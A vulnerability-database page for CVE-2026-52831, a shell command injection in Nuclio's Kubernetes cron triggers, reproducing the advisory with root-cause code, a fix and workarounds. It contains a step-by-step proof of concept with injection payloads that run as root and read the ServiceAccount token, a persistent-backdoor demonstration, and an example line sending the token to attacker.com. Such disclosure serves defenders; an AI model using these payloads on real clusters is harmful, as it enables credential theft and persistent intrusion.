Skip to main content

Nuclio EUVDEUVD-2026-70220

| CVE-2026-52831 HIGH
OS Command Injection (CWE-78)
2026-07-08 https://github.com/nuclio/nuclio GHSA-v5px-423j-pf7p
8.0
CVSS 3.1 · Vendor: https://github.com/nuclio/nuclio
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access Nuclio Dashboard API (unauthenticated)
  2. Delivery
    Submit NuclioFunction with malicious cron trigger header key or body
  3. Exploit
    Controller reconciles function and generates CronJob with injected shell commands
  4. Execution
    CronJob executes on schedule as uid=0(root)
  5. Persist
    Exfiltrate Kubernetes SA token via injected curl
  6. Impact
    Persist orphaned CronJob post-function-deletion as backdoor

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the ability to create or update a NuclioFunction resource with a cron trigger kind (kind: cron) in a cluster where the Nuclio controller is running and the cronTriggerCreationMode is kube (the default). The researcher states the Nuclio Dashboard API is unauthenticated in the default deployment posture, which would enable PR:N exploitation via the Dashboard REST API on port 8070. If the Dashboard is behind authentication or the attacker must use the Kubernetes API directly, at minimum valid Kubernetes credentials with create/update rights on NuclioFunction resources are required. The vulnerability is limited to clusters running the Nuclio controller with CronJob support; clusters using only the local platform mode are unaffected. Execution occurs with root (uid=0) privileges inside the CronJob pod, and the pod's mounted ServiceAccount token scope determines lateral movement potential.

Impact

There is a direct conflict between the CVSS vector in the input metadata (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H, score 8.0) and the vector claimed by the researcher and embedded in the GHSA advisory (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, score 9.9). The critical difference is PR (H vs N) and AC (H vs L). The description explicitly states that the Nuclio Dashboard API is unauthenticated by default, which, if accurate, would support PR:N and AC:L. The PoC in the advisory submits NuclioFunction specs via kubectl (which requires cluster credentials), but the attack is also achievable through the Dashboard REST API with no authentication in the default deployment posture. Until the vendor independently confirms the Dashboard's default auth posture, the PR metric cannot be resolved with certainty. A publicly available PoC with step-by-step reproduction reduces time-to-exploitation materially. The persistence mechanism (ownerReference-free CronJob surviving function deletion) and root execution in all pods substantially elevate real-world impact beyond a typical injection. EPSS data is not provided; given the PoC and critical scope, this should be treated as high priority for any Nuclio deployment using cron triggers.

Exploit ScenarioDerived

An attacker with access to the Nuclio Dashboard API (unauthenticated per the researcher's verification) submits a NuclioFunction spec containing a cron trigger whose event.headers map includes a key embedding shell metacharacters such as X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | curl -d @- attacker.com; echo ". The Nuclio controller reconciles the function, generates a Kubernetes CronJob with the injected commands embedded verbatim in the shell argument string, and the CronJob executes as root on the configured schedule - confirmed to fire every minute - exfiltrating the pod's ServiceAccount token to an attacker-controlled server. Because the CronJob has no ownerReferences, it persists and continues executing even if the source function is deleted or the controller is restarted.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Sep 02, 2026

Remote code execution in Nuclio's Kubernetes cron-trigger implementation allows an attacker who can submit a NuclioFunction specification to inject arbitrary shell commands that execute inside CronJob pods running as root. Two unsanitized paths exist: header keys are interpolated verbatim inside double-quoted shell arguments (breaking quoting context), and event bodies processed with Go's strconv.Quote survive as unescaped $() command substitution sequences. Both paths were dynamically verified on the latest release (1.15.27), and the resulting CronJobs persist as orphaned resources even after function deletion because they carry no ownerReferences. A publicly available PoC with full reproduction steps exists per the GHSA advisory. No KEV listing at time of analysis.

Earlier versions of this analysis (1)
v1 Jul 08, 2026 - 21:25 CVSS 10.0

OS command injection in Nuclio (serverless platform) versions <= 1.15.27 lets attackers run arbitrary shell commands as root inside Kubernetes CronJob pods by submitting a function with a crafted cron trigger. The controller concatenates unsanitized event.headers keys and event.body values into a /bin/sh -c curl string; a header key containing a double-quote breaks quoting, and a body containing $() triggers command substitution (strconv.Quote does not escape it). Because the Nuclio Dashboard API is unauthenticated in its default configuration, this is remotely reachable; no public exploit is identified in KEV, though a detailed, dynamically-verified PoC accompanies the advisory.

RemediationAI

Upgrade to Nuclio 1.16.4 (https://github.com/nuclio/nuclio/releases/tag/1.16.4), which replaces the /bin/sh -c shell invocation with exec-form argument passing so user-supplied values are never interpreted by a shell. The fix commit is 3356b86a8bfab3f960aa420310ebff765df9dede. If immediate upgrade is not possible, three workarounds reduce exposure without eliminating the root cause: (1) Place the Nuclio Dashboard behind an authenticated reverse proxy or firewall port 8070 to trusted networks only - this prevents unauthenticated function submission but does not protect against insider or compromised-credential attacks; (2) Prohibit creation of functions with kind: cron triggers via admission control or RBAC on NuclioFunction resources - this disables cron trigger functionality entirely; (3) Remove the batch API group permission from the Nuclio controller ServiceAccount to prevent CronJob creation - this also disables cron trigger functionality. For any deployment that has already processed untrusted cron-trigger specs, audit all CronJobs in the Nuclio namespace (kubectl get cronjob -n nuclio) for injected commands and delete any orphaned CronJobs (those lacking ownerReferences to a current NuclioFunction).

Affected VersionsENISA

nuclio < 1.16.4

Affected Packages

go github.com/nuclio/nuclio fix: 0.0.0-20260601075854-3356b86a8bfa
euvd nuclio fix: 1.16.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Nuclio is an open-source serverless framework for Kubernetes (pkg:go/github.com/nuclio/nuclio). When a NuclioFunction with a cron trigger kind is reconciled, the controller calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113, which builds a shell command string by string-concatenation of user-supplied values and stores it as the Args of a Kubernetes CronJob container invoked as ['/bin/sh', '-c', '<string>']. CWE-78 (Improper Neutralization of Special Elements in an OS Command) is the root cause. Path-A interpolates headerKey directly inside a fmt.Sprintf-built double-quoted argument without any escaping; a key containing " terminates the quoting context and exposes raw shell syntax. Path-B processes event.body with Go's strconv.Quote, which escapes " and \ but not $, (, or ), so a body of $(CMD) survives into the shell string and is expanded. The fix in commit 3356b86a8bfa (release 1.16.4) replaces the /bin/sh -c invocation with exec-form (Command: []string{'curl'}, Args: curlArgs) so no shell ever processes user-supplied values.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nuclio/nuclio) PRIMARY 8.0 HIGH
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 9.9 CRITICAL

PR:L chosen as conservative middle ground given conflicting signals on Dashboard auth; S:C reflects CronJob pod impact crossing namespace/cluster boundaries.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SUSE CRITICAL

Primary rating from Vendor (https://github.com/nuclio/nuclio).

CVSS VectorVendor: https://github.com/nuclio/nuclio

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Analysis Updated
Sep 02, 2026 - 17:29 vuln.today
v2 - CVSS changed
Severity Changed
Sep 02, 2026 - 17:22 NVD
CRITICAL HIGH
CVSS changed
Sep 02, 2026 - 17:22 NVD
10.0 (CRITICAL) 8.0 (HIGH)
CVE Published
Jul 08, 2026 - 20:24 github-advisory
CRITICAL 10.0

DescriptionCVE.org

Summary

Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the trigger specification flow into this string without adequate sanitization:

  • event.headers keys - interpolated verbatim inside double-quoted --header arguments (lazy.go:2150); any key containing " breaks the quoting context.
  • event.body - processed with strconv.Quote, which escapes " and \ but not $(), allowing command substitution (lazy.go:2188).

Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).

  • CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - 9.9 (Critical)
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Affected versions: Nuclio <= 1.15.27 (latest, dynamically verified)

---

Details

Root Cause

When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.

Path-A - Header key injection (lazy.go:2146-2151)

go
// lazy.go:2146-2151
headersAsCurlArg := ""
for headerKey := range attributes.Event.Headers {
    headerValue := attributes.Event.GetHeaderString(headerKey)
    headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
        headersAsCurlArg, headerKey, headerValue)
    //                              ↑
    //                   headerKey is user-controlled; no escaping applied
}

headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.

Attack string for headerKey:

X-Inject"; ARBITRARY_COMMAND; echo "

Resulting shell command fragment:

bash
--header "X-Inject"; ARBITRARY_COMMAND; echo ": value"

Path-B - Body command substitution (lazy.go:2173-2192)

go
// lazy.go:2188-2192
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
    strconv.Quote(eventBody),   // escapes " → \" and \ → \\, but NOT $()
    eventBodyFilePath,
    curlCommand,
    eventBodyCurlArg)

strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.

Attack string for event.body:

$(ARBITRARY_COMMAND)

Resulting shell command:

bash
echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ...

Execution sink (lazy.go:2212)

go
// lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}

The entire concatenated string - including any injected content - is executed by the shell.

Persistence mechanism

The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:

go
// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.

---

PoC

Environment Setup

The following steps reproduce the vulnerability in an isolated local environment.

Step 1 - Install prerequisites

bash
# kind (Kubernetes-in-Docker)
curl -Lo /usr/local/bin/kind \
    https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x /usr/local/bin/kind
# Helm
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

Step 2 - Create isolated kind cluster

bash
kind create cluster --name vul-010
kubectl cluster-info --context kind-vul-010

Expected output:

Kubernetes control plane is running at https://127.0.0.1:xxxxx

Step 3 - Deploy Nuclio (latest 1.15.27)

bash
helm repo add nuclio https://nuclio.github.io/nuclio/charts
helm repo update

kubectl create namespace nuclio

helm install nuclio nuclio/nuclio \
    --namespace nuclio \
    --kube-context kind-vul-010 \
    --version 0.21.27 \
    --set dashboard.enabled=true \
    --set controller.enabled=true

Wait for the controller to become ready:

bash
kubectl wait --for=condition=Available deployment/nuclio-controller \
    -n nuclio --context kind-vul-010 --timeout=120s

Step 4 - Create a NuclioProject

bash
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
  name: default
  namespace: nuclio
spec:
  description: "default project"
EOF

Step 5 - Prepare a placeholder image for the function deployment

The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:

bash
# Tag alpine as the placeholder function image
docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
kind load docker-image placeholder-function:latest --name vul-010
# Also load the CronJob runner image (appropriate/curl or any sh-capable image)
docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest
kind load docker-image appropriate/curl:latest --name vul-010

---

Exploitation - Path-A: Header Key Injection

Step 6 - Create a NuclioFunction with malicious header key

The injection payload in the header key is:

X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "
bash
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-rce-visible
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-inject:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          headers:
            X-Normal: safe-value
            'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker
  minReplicas: 1
  maxReplicas: 1
EOF

Step 7 - Trigger the controller to create the CronJob

bash
kubectl patch nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Wait ~10 seconds for the controller to reconcile, then list CronJobs:

bash
kubectl get cronjob -n nuclio --context kind-vul-010

Expected output:

NAME                                   SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE
nuclio-cron-job-d84tg6lmuaqc73arn15g   */1 * * * *   False     0        <none>          12s

Step 8 - Inspect the generated CronJob command (static confirmation)

bash
CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
    | python3 -m json.tool

Actual output from verification:

json
[
    "/bin/sh",
    "-c",
    "curl --silent  --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused"
]

The injected commands are clearly embedded between the shell-separated statements.

Step 9 - Manually trigger a CronJob run (dynamic confirmation)

bash
kubectl create job --from=cronjob/"$CJ_NAME" \
    vul010-rce-proof -n nuclio --context kind-vul-010
# Wait for the pod to complete
kubectl wait pod -n nuclio --context kind-vul-010 \
    -l job-name=vul010-rce-proof \
    --for=condition=Ready --timeout=30s 2>/dev/null || true

POD=$(kubectl get pods -n nuclio --context kind-vul-010 \
    -l job-name=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$POD" -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
===RCE_CONFIRMED===
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...
  • Line 1: curl exits immediately at "X-Inject" (no curl binary in alpine)
  • Line 2: echo "=RCE_CONFIRMED=" executes - injection confirmed
  • Line 3: id executes - container runs as uid=0 (root)
  • Line 4: cat .../token | head -c 50 exfiltrates the first 50 bytes of the K8s SA token

---

Exploitation - Path-B: Body Command Substitution

Step 10 - Create a NuclioFunction with malicious event body

bash
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-body-inject
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-body:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          body: "$(id 1>&2; echo BODY_INJECTION_PROOF)"
  minReplicas: 1
  maxReplicas: 1
EOF

kubectl patch nucliofunction vul010-body-inject -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Step 11 - Verify CronJob command (static)

bash
sleep 15
CJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -l "nuclio.io/function-name=vul010-body-inject" \
    -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJ_NAME_B" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
    | python3 -m json.tool

Actual output from verification:

json
[
    "/bin/sh",
    "-c",
    "echo \"$(id 1>&2; echo BODY_INJECTION_PROOF)\" > /tmp/eventbody.out && curl --silent  --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-body-inject\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ..."
]

$() is present unescaped inside a double-quoted string passed to /bin/sh -c.

Step 12 - Dynamic execution

bash
kubectl create job --from=cronjob/"$CJ_NAME_B" \
    vul010-body-proof -n nuclio --context kind-vul-010

POD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \
    -l job-name=vul010-body-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$POD_B" -n nuclio --context kind-vul-010

Actual pod log output from verification:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/bin/sh: curl: not found

id ran as root via $() expansion before curl was even attempted.

---

Persistence Verification

Step 13 - Confirm CronJob has no ownerReferences

bash
kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.metadata.ownerReferences}'

Expected: empty (no output)

Step 14 - Simulate controller crash during function deletion

bash
# Stop the controller
kubectl scale deployment nuclio-controller -n nuclio \
    --context kind-vul-010 --replicas=0
# Delete the function
kubectl delete nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010

sleep 5
# Function is gone - CronJob remains
kubectl get nucliofunction -n nuclio --context kind-vul-010
kubectl get cronjob -n nuclio --context kind-vul-010

Actual output from verification:

# NuclioFunctions:
NAME                  AGE
vul010-body-inject2   2m30s
(vul010-rce-visible deleted - not listed)
# CronJobs:
NAME                                   SCHEDULE      SUSPEND   ACTIVE
nuclio-cron-job-d84tj8lmuaqc73arn170   */1 * * * *   False     0
(CronJob belonging to the deleted function - still running)

Step 15 - Execute the persistent backdoor

bash
kubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \
    vul010-persist-backdoor -n nuclio --context kind-vul-010

kubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
PERSISTENT_BACKDOOR_ACTIVE
: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...

The injected command executes after the source function has been deleted.

---

Cleanup

bash
kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null
kubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null
kind delete cluster --name vul-010

---

Impact

Remote Code Execution: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.

Runs as root: Every CronJob pod confirmed running as uid=0(root) during verification.

ServiceAccount token exfiltration: The pod's mounted SA token (/var/run/secrets/ kubernetes.io/serviceaccount/token) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected curl call. This token enables:

  • Enumeration of Kubernetes API resources in the nuclio namespace
  • In misconfigured clusters, cluster-wide API access

Persistent backdoor: The CronJob resource has no ownerReferences and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) - persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.

Cloud environment lateral movement: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.

---

Severity

Critical - CVSS 3.1 Score: 9.9

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MetricValueRationale
Attack VectorNetworkDashboard is network-accessible
Attack ComplexityLowNo preconditions; straightforward payload
Privileges RequiredNoneNOP auth is the default configuration
User InteractionNoneFully automated via API
ScopeChangedImpact crosses pod boundary into cluster
ConfidentialityHighSA token, secrets readable
IntegrityHighArbitrary command execution as root
AvailabilityHighPersistent CronJob can exhaust cluster resources

---

Affected Versions

All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.

  • Confirmed affected: 1.15.27 (latest as of 2026-05-17, dynamically verified)
  • Earliest affected: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)

---

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.4

---

Workarounds

  1. Network-level restriction: Place the Nuclio Dashboard behind an authenticated

reverse proxy or restrict port 8070 to trusted networks only. This limits who can submit function specifications.

  1. Disable cron triggers: If cron trigger functionality is not required, avoid creating

functions with kind: cron triggers.

  1. RBAC restriction: Remove the batch API group permission from the Nuclio controller

ServiceAccount to prevent CronJob creation. Note: this disables cron trigger functionality entirely.

None of the above eliminate the root cause; they only reduce exposure.

---

Resources

  • Vulnerable file: pkg/platform/kube/functionres/lazy.go
  • Path-A: line 2150 - header key interpolation
  • Path-B: lines 2188-2189 - body interpolation with strconv.Quote
  • Execution sink: line 2212 - Args: []string{"/bin/sh", "-c", curlCommand}
  • Go strconv.Quote documentation: does not escape $, (, ), or backticks
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • CVSS 3.1 Calculator: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

---

Remediation

P0 - Eliminate the shell layer (preferred fix)

Replace the /bin/sh -c <string> invocation with an exec-format argument list. This removes shell interpretation entirely:

go
// Current (vulnerable): lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}

// Fixed: build curl args as a []string slice
func buildCurlArgs(headers map[string]string, body, address string) []string {
    args := []string{"curl", "--silent"}
    for k, v := range headers {
        args = append(args, "--header", k+": "+v)
    }
    if body != "" {
        args = append(args, "--data", body)
    }
    args = append(args, "--retry", "10", "--retry-delay", "1",
        "--retry-max-time", "10", "--retry-connrefused", address)
    return args
}

// Container spec:
Container{
    Command: nil,
    Args:    buildCurlArgs(headersMap, eventBody, functionAddress),
}

With exec format, each argument is passed directly to the process without shell interpretation. No quoting or escaping is needed.

P1 - Shell-safe quoting (fallback if shell is required)

If the shell invocation must be retained, apply proper POSIX shell quoting to all user-supplied values before interpolation. The equivalent of Python's shlex.quote must be implemented in Go:

go
func shellQuote(s string) string {
    return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
}

Apply to both headerKey, headerValue, and eventBody before inserting into the command string.

Executive ViewAI

Why It Matters

Nuclio, a Kubernetes-native serverless platform, contains a critical remote code execution vulnerability in its cron-trigger implementation with publicly available exploit code. Attackers who can submit function specifications execute arbitrary shell commands with root privileges inside containerized workloads, enabling complete compromise of applications and underlying Kubernetes infrastructure.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Prevalence
Low
niche ML/data-platform serverless framework, not broadly enterprise-deployed
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

60
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy